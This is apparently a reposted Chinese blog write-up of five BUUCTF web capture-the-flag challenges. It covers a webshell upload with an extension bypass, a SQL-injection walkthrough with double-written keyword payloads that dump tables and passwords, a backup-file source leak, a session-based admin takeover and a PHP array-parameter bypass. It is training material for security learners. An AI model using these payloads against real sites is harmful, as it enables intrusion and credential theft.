IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> BUUCTF web wp (五) -> 正文阅读

[PHP知识库]BUUCTF web wp (五)

[ACTF2020 新生赛]Upload

打开题目链接点击灯泡即可看到隐隐约约的上传文件的框。在这里插入图片描述
上传一个含有一句话木马的php文件在这里插入图片描述
继续上传一个文件内容为一句话木马的jpg文件,发现使用蚁剑连接不成功,于是我们可以在上传jpg文件时使用burp抓包修改文件后缀为phtml在这里插入图片描述
放包后发现页面提示上传的文件的绝对路径,且文件名被修改在这里插入图片描述
使用蚁剑连接时,注意用被修改过的文件名,连接成功后即可得到flag在这里插入图片描述

[极客大挑战 2019]BabySQL在这里插入图片描述

又是前面熟悉的SQL注入的题目的背景图
首先尝试万能密码登录,发现数据使用为get方式传参,提示用户名密码错误。在这里插入图片描述在这里插入图片描述
经过测试字符串的闭合方式为单引号在这里插入图片描述
尝试将密码注释掉,登录成功。

?username=admin' --+&password=1

在这里插入图片描述
查看报错信息,发现or被过滤

?username=admin' order by 3--+&password=1

在这里插入图片描述
尝试双写关键字绕过

?username=admin' oorrder by 2--+ &password=1

在这里插入图片描述
但是使用万能密码却可以登录成功

?username=admin' oorr  '1'='1--+ &password=1

在这里插入图片描述
继续尝试联合注入的语句,发现union select均被过滤

?username=admin' union select 1,2,3,4--+ &password=1

在这里插入图片描述
继续尝试双写关键字绕过,得到字段数为3

?username=admin' uniunionon seleselectct 1,2,3--+ &password=1

在这里插入图片描述
接着查看联合注入的回显位置

?username=1' uniunionon seleselectct 11,22,33--+ &password=1

在这里插入图片描述
继续查看数据库为geek

?username=1' uniunionon seleselectct 11,22,database()--+ &password=1

在这里插入图片描述
继续查看表名,发现where、from、or被过滤,均使用双写关键字绕过。得到表名为b4bsql,geekuser

?username=1' uniunionon selselectect 11,22,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'--+ &password=1

在这里插入图片描述
爆出表b4bsql中的字段名

?username=1' uniunionon selselectect 11,22,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'--+&password=1

在这里插入图片描述
爆出字段b4bsql字段中paaaword的值,得到flag。

?username=1' uniunionon selselectect 11,22,group_concat(passwoorrd) frfromom geek.b4bsql--+&password=1

在这里插入图片描述

[ACTF2020 新生赛]BackupFile

由题目可提示,这道题的考点是备份文件

在这里插入图片描述

常见的备份文件后缀名有: .git .svn .swp .~ .bak .bash_history。

逐一尝试常见的备份文件后缀名,发现为.bak,页面随即跳转到网页源码。

/index.php.bak

在这里插入图片描述

PHP中的弱类型比较
== 仅比较两个变量的值
===比较两个变量的值和类型

源码中要求get传参传入变量key,传入的key与$str作弱比较,且要求传入的变量均为数字,于是令key=123即可得到flag

在这里插入图片描述

[HCTF 2018]admin

在这里插入图片描述
点击HCTF在这里插入图片描述
点击404:Not Found,页面没有任何跳转。
页面有右上角有两个按钮,登录和注册
在这里插入图片描述

访问登录的页面

在这里插入图片描述
再访问注册的页面

在这里插入图片描述
注册时随便输入一个账号和密码,我输入的账号和密码均为123(第一次注册时使用admin提示已经被注过),使用注册成功的账号密码进行登录。在这里插入图片描述
这种方法不可以,我们再次查看题目源码在这里插入图片描述

<!-- you are not admin -->猜测如果以admin登录成功,则可能的到flag。我们在使用注册的账号登录成功后,发现右上角有三个按钮在这里插入图片描述
我们三个操作均尝试并查看网页源码,寻找可用的信息。在这里插入图片描述

index页面和之前的index页面查看源代码是一样的。
posts页面进入只会显示404,就算再后面新增了文章也是一样。
edit页面是一个类似博客编写页面,有两个文本框,但试了一下XSS都被过滤了。
change页面是一个修改密码的页面。可能存在逻辑漏洞,尝试一下发现不需要输入之前的密码直接输入新密码就行,这样就不存在多步骤校验可能存在的逻辑绕过。而且查看报文发现报文中没有写用户名,里面只有一个新密码。证明用户名是通过session来获取的,所以也不存在中间截获修改的漏洞。

Session
在计算机中,尤其是在网络应用中,称为“会话控制”。Session对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的Web页之间跳转时,存储在Session对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web页时,如果该用户还没有会话,则Web服务器将自动创建一个 Session对象。当会话过期或被放弃后,服务器将终止该会话。Session 对象最常见的一个用法就是存储用户的首选项。例如,如果用户指明不喜欢查看图形,就可以将该信息存储在Session对象中。

session的工作原理
(1)当一个session第一次被启用时,一个独一的标识被存储于本地的cookie中。
(2)首先使用session_start()函数,PHPsession仓库中加载已经存储的session变量。
(3)当执行PHP脚本时,通过使用session_register()函数注册session变量。
(4)当PHP脚本执行结束时,未被销毁的session变量会被自动保存在本地一定路径下的session库中,这个路径可以通过php.ini文件中的session.save_path指定,下次浏览网页时可以加载使用。

我们在change password选项的网页源码中发现了一个有关github的网址,尝试访问。在这里插入图片描述
下载该网站的flask文档【Flask 是一个用 Python 编写的Web应用程序框架】,并解压在这里插入图片描述
解压后打开文件夹的index.html文件,在这里插入图片描述

{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>

只要从session中得到的值nameadmin就会显示flag,即能够使用admin登录即可拿到flag

方法1

继续审代码,在routes.py文件中,发现了strlower小写函数,猜测如果使用ADMIN进行注册,即可登录成功获得flag在这里插入图片描述

方法2

直接抓包使用burp来爆破字典获得密码123

[极客大挑战 2019]BuyFlag

打开链接为三叶草安全技术小组的招新信息。
查看网页源码,发现了index.phppay.php

在这里插入图片描述
访问index.php,与之前的网页没什么不一样。访问pay.php,发现了提示得到flag的条件在这里插入图片描述
查看网页源代码,发现了一段注释在这里插入图片描述
在控制台发现user值只有一个值为0在这里插入图片描述
修改user的值为1时,页面发生了变化在这里插入图片描述
由于上面源码中注释的内容为POST传参,则使用post方式传入money=100000000&password=404,提示password不能为数字。在这里插入图片描述
再次传入money=100000000&password=404mach,则提示密码太长在这里插入图片描述

这里对字符进行了判断,对字符处理的函数在PHP漏洞中比较常见,使用数组进行传参来绕过判断即可得到flag

money[]=1&password=404mach

在这里插入图片描述

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-07-31 16:22:59  更:2021-07-31 16:26:04 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/5 3:43:47-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码